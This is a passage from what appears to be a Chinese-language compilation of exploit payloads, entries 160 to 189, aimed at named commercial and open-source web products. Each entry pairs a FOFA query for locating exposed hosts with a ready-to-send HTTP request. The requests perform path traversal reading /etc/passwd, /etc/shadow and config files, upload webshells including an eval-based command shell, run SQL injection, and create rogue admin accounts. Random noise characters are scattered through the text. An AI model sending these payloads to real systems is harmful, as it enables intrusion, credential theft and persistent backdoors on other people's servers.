* t- d% ~; a! [; G, O! j$ ~<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
- n/ V- b5 O9 R</soap:Body>
</soap:Envelope>
% O5 s6 T' J5 R" W1 m% C2 M

/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")

4 y8 ^7 }' U& E' ?
160. Sonatype Nexus Repository 3目录遍历与文件读取
7 s3 n, ]! N* m  g: y9 F* _CVE-2024-4956
7 [( m# F7 G$ W8 F* @2 z9 l- ^# UFOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
+ n' \" u- m' d  T! l7 [User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
9 S+ ^3 O$ c" gAccept: */*
Accept-Language: en
Accept-Encoding: gzip


: w1 m3 E9 p( C/ O: B4 p! S+ ]161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
  h3 |0 G; R3 Q9 i% {, AFOFA：body="/KT_Css/qd_defaul.css"
$ H% V5 X! A* M& Z8 M) I第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
! `- o2 S3 O3 s3 T5 S. P# u+ rConnection: close
; V  B) ]3 h" O8 uContent-Length: 445
. T6 o% Z/ z" S1 g) [: j+ o: CContent-Type: text/xml
Accept-Encoding: gzip

( ^2 M1 l/ ^  L* h1 o<?xml version="1.0" encoding="utf-8"?>
0 ^; L3 D" _' N- ~  x9 @" g2 p<soap:Envelope xmlns:xsi="
* m' s9 A+ d8 w/ Mhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
7 n2 O8 ]: r1 Lxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
* f' \+ p- `% Y7 {<UploadResume xmlns="http://tempuri.org/">
- M9 `1 b( M! w1 X# X<ip>1</ip>
1 t) V- v5 J) p3 \6 O& U8 T<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
</UploadResume>
</soap:Body>
</soap:Envelope>

) s& A: h9 Q* T
http://x.x.x.x/dizxdell.aspx
; m- p' D6 n# r. _0 I
9 U4 G2 z5 x( i9 Q$ P162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
( v3 u# S5 d4 m+ [) ^- fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
  W; P; K* Z) PContent-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip
! j4 H5 N3 N8 \1 \  D% X
------WebKitFormBoundaryeegvclmyurlotuey
( `0 D! v, {5 g2 a$ O% nContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
" n) @8 D1 y  \% ~; P1 OContent-Type: application/octet-stream
' f2 h/ Z7 }4 h$ S
<% response.write("ujidwqfuuqjalgkvrpqy") %>
( r' P4 _/ B2 ?0 Z) O------WebKitFormBoundaryeegvclmyurlotuey
" X, j2 V9 F8 CContent-Disposition: form-data; name="action"
- ?  s+ x# ~* o( i5 p" M4 W; f
upload
3 G* T+ d& Q9 L$ F9 i------WebKitFormBoundaryeegvclmyurlotuey
/ }  [$ \7 j; K$ cContent-Disposition: form-data; name="responderId"
+ a/ d" V7 L3 @' ~# I- D
ResourceNewResponder
& `, g- o7 T& }------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"
. T) S7 w/ C* `/ k/ _4 N. W
% \1 ]! x+ A/ H. U, ^  I/opt/resources
9 p% {3 `: @- ~6 i------WebKitFormBoundaryeegvclmyurlotuey--


9 e8 Z  J: D# f! s+ v' nhttp://x.x.x.x/opt/resources/kjuhitjgk.aspx
; Q. l. k- R. Z' i" P
! e6 ?$ t% x9 M  H  v6 q8 J163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
5 K3 {& t. j4 I- aPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
' Z1 T0 J, u4 d  jConnection: close
Content-Length: 293
7 {8 T6 w7 N$ UAccept: */*
: [& v/ t0 F  H! y$ @Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
+ B  J4 f# c9 n3 X6 KContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

; j6 M1 Z1 {& |* R: q- |9 f------iiqvnofupvhdyrcoqyuujyetjvqgocod
1 u9 j" p- _% E" N3 gContent-Disposition: form-data; name="name"

  j, F+ C) f' I, I5 v6 C1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
+ Q/ A  r% a+ N+ @- H' OContent-Disposition: form-data; name="upfile"; filename="1.php"
, v* t( b) o4 o' K: S& e% LContent-Type: image/jpeg

% z/ @$ w& V! ^# Q: hrvjhvbhwwuooyiioxega
5 k+ N! N& Z  w) |) K, B------iiqvnofupvhdyrcoqyuujyetjvqgocod--


5 V; M! I/ N! j8 w- ?% }0 G164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
7 n) }9 F& Z, }6 H& |FOFA: title="智慧综合管理平台登入"
- P4 D+ \% b3 z6 n- ^3 x- iPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
$ Z% m) P5 p( d: f3 z6 p& W% c2 Q, gContent-Length: 288
2 J: J/ ?' n# i+ P7 z  c9 |Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
' ]4 V/ Y! U, z+ sConnection: close
8 C# v- r) v- }5 U5 x: mContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
# B3 H3 B( ], @# ]Accept-Encoding: gzip

5 r. R  l9 h' B$ K; d7 i; K! C------dqdaieopnozbkapjacdbdthlvtlyl
; u( T6 p9 a8 u' XContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg

<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
7 y3 l' O. \9 ?, A+ R8 m, d------dqdaieopnozbkapjacdbdthlvtlyl--
& k; ]5 A7 C# Y& B
4 k. r* O# ^7 B( v/ C
http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
) e- G, \  D- o" {, {
165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
) y9 B% l% A$ X+ M3 U. k4 [& l

166. 中成科信票务管理平台SeatMapHandler SQL注入
& C# b9 _  ~  ]. }( xFOFA：body="技术支持：北京中成科信科技发展有限公司"
$ i" _2 {/ ~' D/ _8 qPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
' h7 `- C7 ]. t+ RHost:
8 l7 h+ J. w! [" j6 t" R  O6 H# Z5 GPragma: no-cache
5 W& [1 U' p/ v. e) VCache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
* t: v" N+ Z/ e# C# ]2 F- {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 ^4 O1 x, ?9 }/ ^: G- S& h$ {  PAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
- @/ L+ C& u8 pCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
& {' w" H! Y7 `( w6 PConnection: close
Content-Type: application/x-www-form-urlencoded
7 ]# N. v2 e: |  a/ G9 RContent-Length: 89

4 O9 r) J# Q  v/ {' hMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
- b8 z2 m# t. Z2 m0 Y
! h0 ?" `5 u: }
5 Y2 G, x# l6 i167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
3 _" v" k3 O: Q: S% ^GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
$ Q& c" Z6 d6 c: c% MAccept: */*
& Y) o. f* N2 X" C* D4 F" W/ @Connection: keep-alive


. e+ Y" ?& r! a9 L; X& f$ r168. 宏景EHR OutputCode 任意文件读取
  G- O7 g$ \# {  G/ sFOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close



3 i2 J, Q0 [- V  p169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
5 _0 I1 P5 B" o- L$ B# aGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
( g8 F3 a. w9 X- ]# r! SAccept-Encoding: gzip, deflate
Connection: close
6 v6 u1 j( d/ Z" @

* E' w: P. t0 A3 c& P
8 d# Y0 Z# X' D3 }0 `2 ]6 W! U  d( ^170. 宏景EHR DisplayExcelCustomReport 任意文件读取
+ f! J- ?! W% A; |. H7 CFOFA：body="/general/sys/hjaxmanage.js"
- n6 _4 q& C4 _POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
: q: _7 p4 R. [% b- L# w1 R9 ZUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

  j4 \$ t$ P3 v1 S; Tfilename=../webapps/ROOT/WEB-INF/web.xml

( M9 M1 ~* R! n
171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
4 V, P" Z+ [2 G' i9 O; m' y/ aHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
( S0 N6 K4 Q/ fAccept: */*
  b6 R% T9 {2 @3 DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 M4 Q' L9 L# SAccept-Encoding: gzip, deflate
2 Q/ n# w: ^5 ^$ @  l! eConnection: close
# w9 s8 P7 u" V

4 N! c- S; h6 E# q+ p4 p: z. b
172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
Host: your-ip
% e7 `! `  ~+ s# h7 k& `6 \: xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
6 n; k8 y, K8 r6 [. eAccept: */*
1 E5 f6 \$ v$ P+ ]) Z# v2 PConnection: keep-alive

2 K2 t5 d( y- d+ t+ T9 }+ M

173. Check Point 安全网关任意文件读取
) @. e0 v& I" K1 H7 W3 iCVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
) H4 b/ h1 ^- H3 H7 S4 g5 NPOST /clients/MyCRL HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded

aCSHELL/../../../../../../../etc/shadow
& @- G, N* U/ l6 [; Q/ n
$ G6 b- h- O5 X/ w# c

174. 金和OA C6 FileDownLoad.aspx 任意文件读取
+ A9 Y, K( ]2 D& D, kFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
$ m- H, `7 x- d9 f& w8 F" K& fHost: your-ip
/ e0 p; d: ^. b; z' ~) _* X* D% RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
2 z5 L. b0 r  d& s' VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
: s8 Y! X. L# u2 N/ _Accept-Language: zh-CN,zh;q=0.9
Connection: close

; g) n* d2 W( l6 Q' k9 K$ j: S8 X

& W! b7 R7 }  \- B5 X175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
+ R; x0 Y" L0 n' P3 O9 _Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 v0 `+ y0 p+ [2 Z% g, R1 ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  I: H% I9 O! l# \0 \8 G; c1 BAccept-Encoding: gzip, deflate
9 s& ^# r9 u; lConnection: close
) x, Q6 g  c; o! S8 h5 C. kUpgrade-Insecure-Requests: 1


6 O! p8 C# i5 X% @0 `176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
! o2 V/ M* ?4 J4 f; k- E  [7 I) Z2 APOST /manager/teletext/material/rewrite.php HTTP/1.1
  ^+ i. H6 b( W( p9 V2 ?8 u4 @Host: your-ip
) k* r- }7 Z( ?' A: IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
* z: m; }2 M. g. `9 a9 fContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
+ Q$ W3 c* q. B$ dConnection: close
" R. g* A' J0 e) w' G$ o& d1 @, [
4 g/ \" d. _* Q* ]6 q: s  J& n+ S------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
% r) }0 Y! w  z6 I, |$ xContent-Type: image/png
# X# c9 K# @: s4 K! q
<?php system("cat /etc/passwd");unlink(__FILE__);?>
5 ^' o3 |  B$ o  S------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
5 l. }0 s* Q* E* f+ A" Y6 X
: M- P1 `* t* x* v$ L) W  B
------WebKitFormBoundaryOKldnDPT--

  }% Z% g: \, d5 J7 d

177. H3C路由器敏感信息泄露
* F' c0 m8 u$ i! A; A8 A2 I$ g/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
0 J( ]* H& t, l  j, p! s" V: U/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
! j- U! Z2 [3 g, @& N9 r3 I: A/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
& b, Q+ X' m2 E  g' V/ W+ O/userLogin.asp/../actionpolicy_status/../ER5100.cfg
* B0 J, |* q& _$ S. y: [$ @/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
! ~& V! z3 n8 _; O& c/userLogin.asp/../actionpolicy_status/../ER3100.cfg
' |) {4 [: W3 s6 `  Y7 u/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
& x! S* |+ N2 [* t4 k: P6 ?% I5 G  @

178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
8 h) N! Z; l) x1 M% t& {  oPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
1 _* R* P3 w7 r+ ]4 ^Accept-Encoding: gzip, deflate
. D  m: _9 S. t  U7 j& F0 d( L! zConnection: close
; V  ^4 M( r0 K/ t9 A5 C6 |Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
- P, b% z8 e3 b1 x-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
Content-Length: 255

8 k( ?2 @" {2 G4 K; s/ b12234
, G" i' C) Y3 V: b7 x) b4 K! [- |-----------------aqutkea7vvanpqy3rh2l--
% c- r3 U, h' _: O/ w3 B8 _

) {9 w/ z) _8 T1 }$ T/ {( VGET /imc/primepush/%2e%2e/flex/12234.txt

. q, x# Y' a" z# m$ L" B: @7 Z; _! O
4 S3 ^# S4 g2 g0 ]3 p3 E9 T7 W# K179. 建文工程管理系统存在任意文件读取
9 k+ f. N+ E# m# q& S! _POST /Common/DownLoad2.aspx HTTP/1.1
# `; b" j* N" R) A2 cHost: {{Hostname}}
& {6 X* ^8 w* q7 x- Z9 @) PContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

! k. o/ O5 {$ `1 Y- z2 }5 mpath=../log4net.config&Name=
% k2 G) B0 y6 S" [7 y7 T
! T+ d5 U( r# C# u
8 s( Y/ ]1 g" Z180. 帮管客 CRM jiliyu SQL注入
; w- e1 E' x. Y! RFOFA：app="帮管客-CRM"
2 T, j5 b* \6 {5 _# {8 fGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
5 R; t1 b; K% d  s1 L: j3 LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
: N( @5 Y; X4 H$ k2 a+ c, JAccept-Language: zh-CN,zh;q=0.9
Connection: close

2 w/ u: C3 I5 z* Y. z
. G5 t: |* t2 h6 Y% D- V8 q! [1 A181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
* L$ F. D& e+ }8 H% XHost: your-ip
' c7 \0 K8 ^% V" c% d2 B  {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) e* j& j; T" J4 M+ Y9 |8 I; kAccept-Encoding: gzip, deflate, br
. k9 S2 {1 ^0 G/ l1 b4 e2 QAccept-Language: zh-CN,zh;q=0.9
* Z5 t. K2 P" r# U0 HConnection: close
Content-Type: application/x-www-form-urlencoded

) t( ^8 G  w3 X6 S: _" ^3 c
' R3 L6 B; [! y9 E. k$ `action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20

9 i( u- d; W0 {+ l+ G! n
9 {7 |7 z* v% t182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
: z! ?# y) N  zPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
" A3 W4 o. i2 k2 e) |" JHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
' c# K. c. x, V4 d  lContent-Type: application/x-www-form-urlencoded


username=test1234&pwd=test1234&savedays=1
- w( X* ]1 q5 q* D& W

183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
+ G: s' V- k% ]" K% I/ E: {GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
" T5 T$ ?1 [  g' zAccept-Encoding: gzip, deflate
: T% L( J) G* X. P/ ~: Z/ @Connection: close
. a+ w: X( c+ K0 I, r: ^

184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
8 ?+ ~) x) K! d. @FOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
7 `# S: X, _. |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
& J% m: Q" l$ q# m$ T4 e0 {# x/ qAccept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest

; w! J6 ?+ `/ X% l2 s  T" v
! R' B& S0 T- F% a) c+ p& R2 uinsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')


" a. O5 J: v) O8 [185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
! _, n' D( Z; M/ }8 {, aGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
) D7 }* ?" l& }Host: host
# d3 q; N' D8 w" t$ X

186. F-logic DataCube3 SQL注入
7 L+ a+ A3 C' Q, i' eCVE-2024-31750
8 g- g$ T7 I" y1 n! bF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
% A/ [) g' [1 |FOFA：title=="DataCube3"
! g( d( Q: q: Y5 J, jPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
8 n& q# W1 i& A* ?  mHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
. L9 W+ r1 N! h. b( JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
; u4 g$ U+ E+ bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& K( b- ^, |9 {) i- M1 p! |; EAccept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded

req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450

+ ]' j7 I" m) T  s. `+ j
187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
, `2 e+ w/ ?: N* {* a0 a' ~6 h& X$ MFOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
, b) n9 ~1 }8 G; \4 _7 v/ gHost: your-ip
Content-Type: application/x-www-form-urlencoded

) X. {) F2 z# q$ D5 c8 I/ ^9 l) L, l
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1

3 w3 X$ c( X" n. \
188. 叁体-佳会视频会议 attachment 任意文件读取
2 I* c: f9 w2 v/ E! pversion <= 3.9.7
/ ~+ ~# k2 J: b2 b- WFOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
7 |& I  ~, W# L/ A0 Y2 THost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
% N- ^$ \* Q5 ^8 QAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
7 `+ g" v+ s; a! {6 AConnection: close
; Y8 N* J) \4 }! v/ ~

# W' i5 R2 x5 z189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
* E! L( b1 l  X7 J! EGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
7 v  B7 m* X+ t! b8 OHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
0 G5 P$ ^: j6 F1 TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ Z0 V0 }' ^" L& C9 [/ iAccept-Encoding: gzip, deflate
